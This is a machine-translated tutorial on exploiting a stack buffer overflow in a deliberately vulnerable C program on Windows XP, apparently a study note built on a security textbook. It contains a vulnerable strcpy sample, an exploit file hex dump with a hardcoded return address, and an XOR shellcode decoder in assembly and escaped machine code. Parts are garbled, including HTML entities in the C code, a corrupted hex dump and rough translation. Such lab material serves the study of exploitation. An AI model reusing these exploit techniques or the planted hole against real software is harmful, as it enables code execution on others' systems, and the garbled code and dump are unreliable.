0x00 Preface
In the extraction and testing of the Windows Shellcode Learning Note--shellcode, we describe how to make a preliminary optimization of Shellcode, dynamically acquire the Windows API address and invoke it. and through the program to automatically extract machine code as Shellcode and saved to the file.
The bin file for the box instance Shellcode has been uploaded to GitHub with the following address:
Https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin
Note: Shellcode.bin generated by getshellcode.cpp
The Getshellcode.cpp address is as follows:
Https://github.com/3gstudent/Shellcode-Generater/blob/master/getshellcode.cpp
Next, we will study the use and optimization techniques of shellcode in the specific environment.
About 0X01
Start with the entry buffer overflow first
This article will combine the "stack overflow principle and Practice" section of "0day Security: Software Vulnerability Analysis Technology", take the stack Overflow code as sample, optimize our own generated frame instance shellcode, realize the initial utilization in stack overflow.
0X02 Related Concepts
Stack area:
Used to dynamically store call relationships between functions to ensure that the called function resumes in the parent function upon return
Special Registers:
ESP: Stack pointer register (extended stack pointer), pointing to the top of the stack
EBP: Base point pointer Register (extended base pointer), pointing to the bottom of the stack
EIP: Instruction register (extended instruction pointer), pointing to the next command address waiting to be executed
The function code is stored in the stack in order (visual comprehension, omitted other details):
Buffer Front stack frame EBP return address ESP
function Stack Overflow principle (visual comprehension, omitted other details):
Normally, when the function returns, it will finally execute the contents of the returned address, usually the address of the next instruction.
If the buffer length is too long to overwrite the value of the return address, the function will execute the overwritten content when it returns
If you save Shellcode to buffer, overwriting the return address as the starting address of Shellcode, then Shellcode will be executed to complete the use of stack Overflow
0x03 Stack Overflow instance test
The sample code is as follows:
#include <stdio.h> #include <windows.h> #define PASSWORD "1234567" int verify_password (Char *password) { int authenticated; &NBSP;CHAR&NBSP;BUFFER[44];&NBSP;&NBSP;&NBSP;&NBSP;AUTHENTICATED=STRCMP (Password,password); strcpy (Buffer,password); return authenticated;} Int main () { int valid_flag=0; char password[1024] ; file *fp; loadlibrary ("User32.dll"); if (! ( Fp=fopen ("Password.txt", "rw+"))) return 0; fread (PASSWORD,56,1,FP); valid_flag=verify_password (password); if (Valid_flag) { printf (" wrong\n "); } else { printf ("right\n"); } fclose (FP); return 0;}
Note: The code is selected from the experiment code in chapter 2.4.2 for fine adjustment
where FSCANF (FP, "%s", password) ends when a space and line break are encountered, and if Shellcode contains spaces (0x20), it is truncated, resulting in incomplete reading of the file
Therefore, replace it with Fread (PASSWORD,56,1,FP);
Array password length is 56, array buffer length is 44, execution strcpy (Buffer,password), there is a stack overflow
The following procedure is required to implement stack overflow based on the function stack Overflow principle:
(1) Analyze and debug the program to obtain the offset of the flooded return address
(2) Obtain the starting address of the buffer, overwriting the return address according to the obtained offset, so that the code that executes the buffer start address is saved when the function returns
(3) Extracting the machine code of the frame operation and storing it at the starting address of buffer, which is executed when the function returns.
Test system: Win XP Compiler: Vc6.0build version: Debug version
(1) Analyze and debug the program to obtain the offset of the flooded return address
You can fill in the Password.txt with 56 test characters, use the ollydbg opener, navigate to the function return address
Return address is just overwritten
(2) Obtain the starting address of the buffer and overwrite the return address
Get start address of buffer: 0012fb7c
Note: In different systems, the starting address of the buffer is different, using 0012fb7c to overwrite the return address, that is, the password.txt 53-56-bit hexadecimal character is 7cfb1200 (in reverse order)
(3) Machine code to extract the frame operation
Refer to the method in 0day Security: Software Vulnerability analysis technology, using dependency Walker to get Ueser32.ll's base address to 0x77d10000
The offset address of the MessageBoxA is 0x000407ea
Therefore, the MessageBoxA entry address in memory on the system is 0x77d10000+0x000407ea=0x77d507ea
The machine code of the MessageBoxA corresponding function entry address in the replacement book
The final password.txt content is as follows (Hex view):
00000000h:33 DB-----6C 8B C4 53; 3 跾 hwesthfail 嬆 s 00000010h:50 90 B8 EA (D5) FF D0 90 90 90 90 90; PPS 誻 Ð 悙 悙? 00000020H:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90; 悙 悙 悙 悙 悙 悙 悙 悙 00000030h:90 7C FB 12 00; 悙 悙 |?
The final program runs and the stack overflow triggers success on our test system.
Optimization of 0x03 Box instance shellcode in Stack Overflow
The above section briefly introduces the principle and operation of the stack Overflow instance, this section will introduce how to optimize our own development of the shellcode, that is, the frame instance shellcode, combined with specific loopholes, to achieve the use
Box instance Shellcode:
Https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin
Shellcode length 1536
(1) Modify the instance program so that its array is sufficient to preserve our shellcode
The complete code is as follows:
#include <stdio.h> #include <windows.h> #define PASSWORD "1234567" int verify_password (Char *password) { int authenticated; &NBSP;CHAR&NBSP;BUFFER[1556];&NBSP;&NBSP;&NBSP;&NBSP;AUTHENTICATED=STRCMP (Password,password); strcpy (Buffer,password); return authenticated;} Int main () { int valid_flag=0; char password[2048] ={0}; file *fp; if (! ( Fp=fopen ("Password2.txt", "RB"))) return 0; fread (PASSWORD,1568,1,FP); valid_flag=verify_password (password); if (Valid_flag) { printf ("wrong\n"); } else { printf ("right\n"); } fclose (FP); return 0;}
Buffer length increased to 1556 to save the box instance Shellcode
Based on the previous instance, the offset of the return address is flooded by 9-12, so the length of the password is increased to 1556+12=1568
(2) strcpy encountered character 00 truncated
The box instance Shellcode at 00000009h is 0x00,strcpy at the time of execution and will be truncated prematurely, causing the shellcode to be incomplete and unable to overwrite the return address
Therefore, the shellcode needs to be encoded
To facilitate the reader's understanding, refer to the 0day Security: Software vulnerability Analysis Technology 3.5.2 section of the method (this section is detailed, no longer repeat the process):
Shellcode trailing add end character 0x90 will shellcode byte-by-bit with 0x44 XOR or cryptographic assembly implementation decoder and extraction machine code decoder machine codes in the Shellcode header decoder eax alignment shellcode start position, Byte-by-bit with 0x44 or decryption, encountering 0x90 stop
The assembler code for the decoder is as follows:
void Main () {__asm {add eax,0x14 xor Ecx,ecxdecode_loop:mov BL,[EAX+ECX] XOR bl,0x44 mov [EAX+ECX],BL inc ECX CMP bl,0x90 jne Decode_loop}}
Use ollydbg to extract the machine code as follows:
"\x83\xc0\x14\x33\xc9\x8a\x1c\x08\x80\xf3\x44\x88\x1c\x08\x41\x80\xfb\x90\x75\xf1"
The new shellcode format is as follows:
Decoder machine code + encrypted Bullet Box instance shellcode+0xd4+ "\x90\x90\x90\x90\x90\x90\x90" + "\x7c\xfb\x12\x00"
Note:
0x90^0x44=0xd4,0xd4 is the end character after encoding
"\x90\x90\x90\x90\x90\x90\x90" is a filled string, meaningless
"\x7c\xfb\x12\x00" returns the address for the overridden function
(3) 0xd4 conflict
The box instance Shellcode also contains the end character 0xd4, which is decrypted with the shellcode truncated prematurely, so a new end character needs to be selected
Of course, can also be shellcode fragment encryption, for this shellcode, happens 0xd5 not appear, so use 0xd5 as the end string, the decryption character is 0x91
The modified machine code is as follows:
"\x83\xc0\x14\x33\xc9\x8a\x1c\x08\x80\xf3\x44\x88\x1c\x08\x41\x80\xfb\x91\x75\xf1"
The modified Shellcode format is as follows:
Decoder machine code + encrypted Bullet Box instance shellcode+0xd5+ "\x90\x90\x90\x90\x90\x90\x90" + "\x7c\xfb\x12\x00"
(4) Shellcode Coding test
Write program to automatically read the original shellcode, encryption, add decryption machine code, add the end character
The program has been uploaded to GitHub
Https://github.com/3gstudent/Shellcode-Generater/blob/master/enshellcode.cpp
After execution, generate a new Shellcode file, and in the screen output C format of the Shellcode
Use the following code, combined with the screen output C format shellcode, replace the array contents, the new encryption Shellcode test
Because the code is longer, upload to GitHub with the following address:
Https://github.com/3gstudent/Shellcode-Generater/blob/master/testenshellcode.cpp
, shellcode execution, successfully implemented decoder
(5) test of new shellcode in stack Overflow
Fill in the decoder machine code, the complete Shellcode format is as follows:
"\x83\xc0\x14\x33\xc9\x8a\x1c\x08\x80\xf3\x44\x88\x1c\x08\x41\x80\xfb\x91\x75\xf1" + Encrypted Bullet Box instance shellcode+0xd5+ "\x90 \x90\x90\x90\x90\x90\x90 "+" \x7c\xfb\x12\x00 "
Still error in stack overflow test program, continue debugging with ollydbg load
For example, successfully overwriting the function return address, and then pressing F8 for single-step debugging
For example, if an exception is found at this time, the value of the EAX register is 909090d5, and the value of EAX should normally be the starting address of buffer, so that shellcode can be successfully found and decrypted
And the register edx saves the start address of the buffer.
So, we need to make changes to the decoder.
(6) Modifying the decoder
Choose one of the simplest direct methods to align edx to the starting position of Shellcode, and the assembly code is as follows:
void Main () {__asm {add edx,0x14 xor Ecx,ecxdecode_loop:mov BL,[EDX+ECX] XOR bl,0x44 mov [EDX+ECX],BL inc ECX CMP bl,0x90 jne Decode_loop}}
Load the program in OLLYDBG and extract the machine code,
The new decoder machine code is:
"\x83\xc2\x14\x33\xc9\x8a\x1c\x0a\x80\xf3\x44\x88\x1c\x0a\x41\x80\xfb\x91\x75\xf1"
The final Shellcode code is:
"\x83\xc2\x14\x33\xc9\x8a\x1c\x0a\x80\xf3\x44\x88\x1c\x0a\x41\x80\xfb\x91\x75\xf1" + Encrypted Bullet Box instance shellcode+0xd5+ "\x90 \x90\x90\x90\x90\x90\x90 "+" \x7c\xfb\x12\x00 "
The full Shellcode code has been uploaded to GitHub with the address:
Https://github.com/3gstudent/Shellcode-Generater/blob/master/stackoverflowshellcode.bin
Test stack Overflow again, Shellcode successfully executed
Because Shellcode is our own implementation of the dynamic acquisition API address, so the stack Overflow test program in LoadLibrary ("User32.dll"); Can omit
0X04 Summary
This paper briefly describes the principle of stack overflow, and emphatically introduces the optimization, debugging and utilization techniques of shellcode in the concrete stack overflow environment.
Of course, the above shellcode there is a deficiency: Shellcode in the memory of the start address is often not fixed, resulting in exploits may not necessarily succeed
The utilization and optimization of shellcode in stack Overflow